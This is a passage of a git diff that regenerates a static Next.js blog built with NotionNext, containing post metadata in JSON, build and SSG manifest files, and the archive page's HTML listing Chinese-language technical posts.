2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":2,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"tag":"自动化"},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js b/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js
new file mode 100644
index 000000000..941faaaf3
--- /dev/null
+++ b/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js
@@ -0,0 +1 @@
+self.__BUILD_MANIFEST=function(a){return{__rewrites:{afterFiles:[{has:void 0,source:"/:path*.html",destination:"/:path*"}],beforeFiles:[],fallback:[]},"/":["static/chunks/pages/index-eb0ce45dfd226ae0.js"],"/404":["static/chunks/pages/404-0962518ded3ddccb.js"],"/_error":["static/chunks/pages/_error-c11ef25afc9df35c.js"],"/archive":["static/chunks/pages/archive-ce5c9a13f1b707ce.js"],"/category":["static/chunks/pages/category-e360d24a90d47a84.js"],"/category/[category]":["static/chunks/pages/category/[category]-870f14c329d4c7e1.js"],"/category/[category]/page/[page]":["static/chunks/pages/category/[category]/page/[page]-901a24624c3d7984.js"],"/page/[page]":["static/chunks/pages/page/[page]-e11f22948308bc15.js"],"/search":["static/chunks/pages/search-005f77f243d63e6b.js"],"/search/[keyword]":["static/chunks/pages/search/[keyword]-47355d318a01b8f4.js"],"/search/[keyword]/page/[page]":["static/chunks/pages/search/[keyword]/page/[page]-8f5f38a8283f89e0.js"],"/sitemap.xml":["static/chunks/pages/sitemap.xml-aa598cb4287c0ed6.js"],"/tag":["static/chunks/pages/tag-256108ef48b29ccf.js"],"/tag/[tag]":["static/chunks/pages/tag/[tag]-27fd94272e69240a.js"],"/tag/[tag]/page/[page]":["static/chunks/pages/tag/[tag]/page/[page]-7364bfe43180da9b.js"],"/[prefix]":[a,"static/chunks/pages/[prefix]-305d9f2047462727.js"],"/[prefix]/[slug]":[a,"static/chunks/pages/[prefix]/[slug]-5b13cd8bd4bab6aa.js"],"/[prefix]/[slug]/[...suffix]":[a,"static/chunks/pages/[prefix]/[slug]/[...suffix]-f5d35020b71ca032.js"],sortedPages:["/","/404","/_app","/_error","/archive","/category","/category/[category]","/category/[category]/page/[page]","/page/[page]","/search","/search/[keyword]","/search/[keyword]/page/[page]","/sitemap.xml","/tag","/tag/[tag]","/tag/[tag]/page/[page]","/[prefix]","/[prefix]/[slug]","/[prefix]/[slug]/[...suffix]"]}}("static/chunks/88495-859c98bd25cf70c4.js"),self.__BUILD_MANIFEST_CB&&self.__BUILD_MANIFEST_CB();
\ No newline at end of file
diff --git a/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js b/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js
new file mode 100644
index 000000000..af1572249
--- /dev/null
+++ b/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js
@@ -0,0 +1 @@
+self.__SSG_MANIFEST=new Set(["\u002F","\u002F404","\u002F[prefix]","\u002F[prefix]\u002F[slug]","\u002F[prefix]\u002F[slug]\u002F[...suffix]","\u002Farchive","\u002Fcategory","\u002Fcategory\u002F[category]","\u002Fcategory\u002F[category]\u002Fpage\u002F[page]","\u002Fpage\u002F[page]","\u002Fsearch","\u002Fsearch\u002F[keyword]","\u002Fsearch\u002F[keyword]\u002Fpage\u002F[page]","\u002Ftag","\u002Ftag\u002F[tag]","\u002Ftag\u002F[tag]\u002Fpage\u002F[page]"]);self.__SSG_MANIFEST_CB&&self.__SSG_MANIFEST_CB()
\ No newline at end of file
diff --git a/archive.html b/archive.html
index 8cf981774..1f456b8e8 100644
--- a/archive.html
+++ b/archive.html
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>Archive | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="Archive | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//archive"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="Archive | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/archive-ce5c9a13f1b707ce.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mb-10 pb-20 md:py-12 py-3  min-h-full"><div><div id="2024-03" class="pt-16 pb-4 text-3xl dark:text-gray-300">2024-03</div><ul><li class="border-l-2 p-1 text-xs md:text-base items-center  hover:scale-x-105 hover:border-gray-500 dark:hover:border-gray-300 dark:border-gray-400 transform duration-500"><div id="Mar 25, 2024"><span class="text-gray-400">2024-03-25</span> <!-- --> <a class="dark:text-gray-400  dark:hover:text-gray-300 overflow-x-hidden hover:underline cursor-pointer text-gray-600" href="/article/240325-ollama">mac体验ollama本地大模型</a></div></li><li class="border-l-2 p-1 text-xs md:text-base items-center  hover:scale-x-105 hover:border-gray-500 dark:hover:border-gray-300 dark:border-gray-400 transform duration-500"><div id="Mar 20, 2024"><span class="text-gray-400">2024-03-20</span> <!-- --> <a class="dark:text-gray-400  dark:hover:text-gray-300 overflow-x-hidden hover:underline cursor-pointer text-gray-600" href="/article/240320-arthas">Arthas简单使用备忘录</a></div></li><li class="border-l-2 p-1 text-xs md:text-base items-center  hover:scale-x-105 hover:border-gray-500 dark:hover:border-gray-300 dark:border-gray-400 transform duration-500"><div id="Mar 19, 2024"><span class="text-gray-400">2024-03-19</span> <!-- --> <a class="dark:text-gray-400  dark:hover:text-gray-300 overflow-x-hidden hover:underline cursor-pointer text-gray-600" href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></li></ul></div><div><div id="2024-01" class="pt-16 pb-4 text-3xl dark:text-gray-300">2024-01</div><ul><li class="border-l-2 p-1 text-xs md:text-base items-center  hover:scale-x-105 hover:border-gray-500 dark:hover:border-gray-300 dark:border-gray-400 transform duration-500"><div id="Jan 24, 2024"><span class="text-gray-400">2024-01-24</span> <!-- --> <a class="dark:text-gray-400  dark:hover:text-gray-300 overflow-x-hidden hover:underline cursor-pointer text-gray-600" href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></li><li class="border-l-2 p-1 text-xs md:text-base items-center  hover:scale-x-105 hover:border-gray-500 dark:hover:border-gray-300 dark:border-gray-400 transform duration-500"><div id="Jan 21, 2024"><span class="text-gray-400">2024-01-21</span> <!-- --> <a class="dark:text-gray-400  